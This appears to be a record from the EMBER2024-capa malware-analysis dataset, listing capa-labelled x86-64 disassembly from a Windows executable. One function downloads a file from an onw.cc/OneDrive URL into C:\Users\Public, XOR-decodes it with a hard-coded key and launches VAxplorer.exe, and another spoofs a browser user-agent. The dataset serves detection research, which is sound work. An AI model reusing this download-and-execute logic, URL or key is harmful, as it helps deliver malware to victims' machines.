joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001b50
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rax, qword [0x140250d90]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x70]
add rax, 0x20
mov rcx, rax
call fcn.140002040
mov r8, rax
mov edx, 0x2712
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
lea rdx, str.Mozilla_5.0__compatible__MSIE_9.0__Windows_Phone_OS_7.5__Trident_5.0__IEMobile_9.0__HTC__Titan_
lea rcx, [rsp + 0x28]
call fcn.140001f40
nop
lea rcx, [rsp + 0x28]
call fcn.140002040
mov r8, rax
mov edx, 0x2722
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8d, 5
mov edx, 0x44
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8d, 1
mov edx, 0x34
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8d, 1
mov edx, 0x63
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
xor r8d, r8d
mov edx, Ordinal_50
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
lea r8, [0x140001dd0]
mov edx, 0x4e2b
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8, qword [rsp + 0x70]
mov edx, 0x2711
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
xor r8d, r8d
mov edx, 0x40
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
xor r8d, r8d
mov edx, 0x51
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.140169f10
nop
lea rcx, [rsp + 0x28]
call fcn.140001fb0
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14014f550
add rsp, 0x68
ret

Function at 0x140001e20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x10]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call fcn.14014fccc
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140002c40
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x70]
call fcn.140002c00
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov dword [rsp + 0x34], eax
lea rdx, [0x1401b9fb0]
mov rcx, qword [rsp + 0x70]
call fcn.14014fb34
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b9fb4]
mov rcx, qword [rsp + 0x78]
call fcn.14014fb34
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x28]
call fcn.1401505bc
test eax, eax
jne 0x140002d3e
mov r9, qword [rsp + 0x28]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14015059c
mov rcx, qword [rsp + 0x28]
call fcn.1401505bc
test eax, eax
jne 0x140002d39
mov eax, dword [rsp + 0x24]
cdq
idiv dword [rsp + 0x34]
mov eax, edx
cdqe
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x20]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x58]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14014fccc
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x140002cb2
mov rcx, qword [rsp + 0x28]
call fcn.14014f9f4
mov rcx, qword [rsp + 0x58]
call fcn.14014f9f4
add rsp, 0x60
pop rdi
ret

Function at 0x140002d60
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x140250d90]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [0x1401b9fb3]
mov rcx, qword [rsp + 0x198]
call fcn.14000ea20
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140002dab
xor eax, eax
jmp 0x140002ea6
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x20]
call fcn.14000ebe0
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x140002ddf
mov rcx, qword [rsp + 0x20]
call fcn.14000ec60
xor eax, eax
jmp 0x140002ea6
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.14000ea50
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x140002e15
mov rcx, qword [rsp + 0x20]
call fcn.14000ec60
xor eax, eax
jmp 0x140002ea6
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x140002e3d
mov eax, dword [rsp + 0x168]
inc eax
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x140002e89
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000ea50
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000eba0
mov dword [rsp + 0x160], eax
jmp 0x140002e2d
mov rcx, qword [rsp + 0x20]
call fcn.14000ec60
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14014f550
add rsp, 0x188
ret
Function at 0x140002ec0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x128
mov qword [rsp + 0x108], 0xfffffffffffffffe
mov rax, qword [0x140250d90]
xor rax, rsp
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x90]
call fcn.140001980
nop
lea rdx, str.C:UsersPublicmacfee.dat
lea rcx, [rsp + 0x38]
call fcn.140001f40
nop
lea rdx, str.https:__onw.cc_1drv.ms_urlhttps:__1drv.ms_u_s_AkFPFpZOd6wAgmVdySWawxi6nVUS_ei23Eeg
lea rcx, [rsp + 0x60]
call fcn.140001f40
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.140001cb0
nop
lea rcx, [rsp + 0x60]
call fcn.140001fb0
nop
lea rcx, [rsp + 0x38]
call fcn.140001fb0
lea rcx, [rsp + 0x90]
call fcn.140001aa0
lea r8, str.d09dfhj6u4d54jj542
lea rdx, str.C:UsersPublickingsoft.dat
lea rcx, str.C:UsersPublicmacfee.dat
call fcn.140002c40
lea rdx, str.C:UsersPublickingsoft.dat
lea rcx, str.C:UsersPublic
call fcn.140002d60
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea r9, [0x1401b9fb7]
lea r8, str.C:UsersPublicVAxplorerVAxplorer.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x100], 0
lea rcx, [rsp + 0x90]
call fcn.140001a40
mov eax, dword [rsp + 0x100]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.14014f550
add rsp, 0x128
ret
Function at 0x140009910
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx eax, byte [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx]
xor ecx, eax
mov eax, ecx
and eax, 0xff
cdqe
lea rcx, [0x1401bca90]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax]
and eax, 0xff
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 4]
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
imul eax, eax, 0x8088405
inc eax
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
shr eax, 0x18
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx + 8]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x1401bca90]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx + 8]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx + 8], eax
ret

Function at 0x14000ada0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [rsp + 0x68]
imul rax, qword [rsp + 0x70]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax]
test eax, eax
je 0x14000ae1d
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x14000ae10
mov rax, qword [rsp + 0x78]
mov byte [rax + 0x10], 1
mov eax, dword [rsp + 0x3c]
xor edx, edx
div qword [rsp + 0x68]
jmp 0x14000ae91
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x78]
cmp eax, dword [rcx + 0x28]
jbe 0x14000ae49
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x2c]
mov eax, dword [rax + 0x28]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x2c]
mov rdx, qword [rsp + 0x78]
add rcx, qword [rdx + 0x20]
mov rdi, qword [rsp + 0x60]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
mov dword [rcx + 0x2c], eax
mov eax, dword [rsp + 0x30]
xor edx, edx
div qword [rsp + 0x68]
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x14000cce0
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
jne 0x14000cd16
mov rax, qword [rsp + 0x80]
cmp dword [rax + 8], 0xffffffff
je 0x14000cd20
mov eax, 0x1000000
jmp 0x14000cea6
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x40]
mov rax, rdx
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax + 0x14f]
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x28]
cmp eax, 0x5c
je 0x14000cded
movsx eax, byte [rsp + 0x28]
cmp eax, 0x2f
je 0x14000cded
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov qword [rsp + 0x50], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x50]
mov rax, rdx
mov rdx, qword [rsp + 0x48]
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rdi
dec rax
lea rcx, [0x1401bb42c]
mov rdi, rax
mov rsi, rcx
mov ecx, 2
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x98], 1
jne 0x14000ce46
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x14000ce25
mov dword [rsp + 0x58], 1
jmp 0x14000ce2d
mov dword [rsp + 0x58], 0
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x14000ce46
mov eax, 0x2000000
jmp 0x14000cea6
lea r9, [rsp + 0x2c]
mov r8d, dword [rsp + 0x98]
mov edx, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
call fcn.14000a940
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000ce7a
mov eax, dword [rsp + 0x2c]
jmp 0x14000cea6
mov rcx, qword [rsp + 0x20]
call fcn.14000b260
mov rcx, qword [rsp + 0x80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
jne 0x14000cea4
mov eax, 0x200
jmp 0x14000cea6
xor eax, eax
add rsp, 0x68
pop rdi
pop rsi
ret
Function at 0x14000dc40
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x2a8
mov rax, qword [0x140250d90]
xor rax, rsp
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x2c0], 0
je 0x14000dc93
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000dc93
xor edx, edx
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, qword [rsp + 0x2c8]
movsx eax, byte [rax]
test eax, eax
jne 0x14000dca7
jmp 0x14000dea4
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
test eax, eax
je 0x14000dd12
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x2f
je 0x14000dcf0
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x5c
jne 0x14000dcfd
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
jmp 0x14000dcc1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x2c8]
cmp qword [rsp + 0x20], rax
je 0x14000dd9c
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
lea rcx, [rsp + 0x150]
mov rdi, rcx
mov rsi, qword [rsp + 0x2c8]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov byte [rsp + rax + 0x150], 0
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x2c0]
call fcn.14000dc40
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x2c0], 0
je 0x14000de31
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x260]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0x268]
movzx ecx, byte [rsp + 0x278]
mov byte [rax], cl
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
cmp byte [rsp + 0x278], 0
jne 0x14000dddd
lea rax, [rsp + 0x30]
mov qword [rsp + 0x280], rax
xor ecx, ecx
mov qword [rsp + 0x288], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x288]
mov rax, rdx
mov rdx, qword [rsp + 0x280]
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rdi
dec rax
mov rcx, qword [rsp + 0x2c8]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x14000de77
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000dea4
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.14014f550
add rsp, 0x2a8
pop rdi
pop rsi
ret
Function at 0x1400101e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.1400268dc
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14001023c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.14000fc78
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x1400102d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14001030f
cmp dword [rcx + 0xd8], 0
jne 0x14001030f
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.1400268dc
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140010274
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140010e10
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.140029ad0
mov rsi, rax
test rax, rax
je 0x140010e8c
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x140010e87
cmp dword [rbx], 0x40
jb 0x140010e87
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x140010e87
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x140010e90
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400189b4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x140018a1c
call fcn.1400268dc
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x140018a1c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140018a3e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.1400183a8
mov esi, eax
test rdi, rdi
je 0x140018a3c
test rbx, rbx
je 0x140018a3c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x14001983c
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xc8], 0
jne 0x14001987a
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x14001992e
call fcn.14001d6a4
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140019899
mov ecx, 0x80004005
call fcn.140001300
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xc8]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.140151a18
test eax, eax
je 0x140019901
cmp eax, 0xc
je 0x1400198fb
cmp eax, 0x16
je 0x1400198f5
cmp eax, 0x22
je 0x1400198f5
cmp eax, 0x50
je 0x140019901
call fcn.14001d560
int3
call fcn.14001d560
int3
call fcn.14001d518
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x14001992c
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14001f72c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test byte [rdx + 4], 1
mov esi, r8d
mov rbx, rdx
mov rbp, rcx
je 0x14001f755
mov rdi, qword [rdx + 0x10]
jmp 0x14001f7a6
mov rdx, qword [rdx + 0x10]
mov rcx, qword [rbx + 8]
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
jne 0x14001f776
call fcn.14001a5a4
mov rcx, qword [rbx + 8]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x14001f790
call fcn.14001a5a4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x14001f7a6
call fcn.14001a5a4
call fcn.1400268dc
cmp qword [rax + 0x68], 0
je 0x14001f7c0
mov rdx, rdi
mov rcx, rbp
call fcn.14001debc
mov rdi, rax
mov edx, esi
mov rcx, rdi
call fcn.14001f56c
mov rcx, qword [rbp + 0xe8]
mov rsi, rax
test rcx, rcx
je 0x14001f7e7
call qword [sym.imp.KERNEL32.dll_GlobalFree]
and qword [rbp + 0xe8], 0
test rsi, rsi
je 0x14001f7f6
mov rdi, rsi
mov qword [rbp + 0xe8], rsi
or dword [rbx + 4], 1
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140022678
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x1400226f2
xor r8d, r8d
call fcn.1400225ac
mov rsi, rax
test rax, rax
jne 0x1400226ae
mov eax, edi
jmp 0x140022708
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x1400226aa
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140022e1c
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140022e7f
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140022e93
lea rdx, str.RegDeleteKeyTransactedA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140022e93
mov rcx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x140022e98
cmp dword [rcx + 8], 0
je 0x140022e93
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x140022e98
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret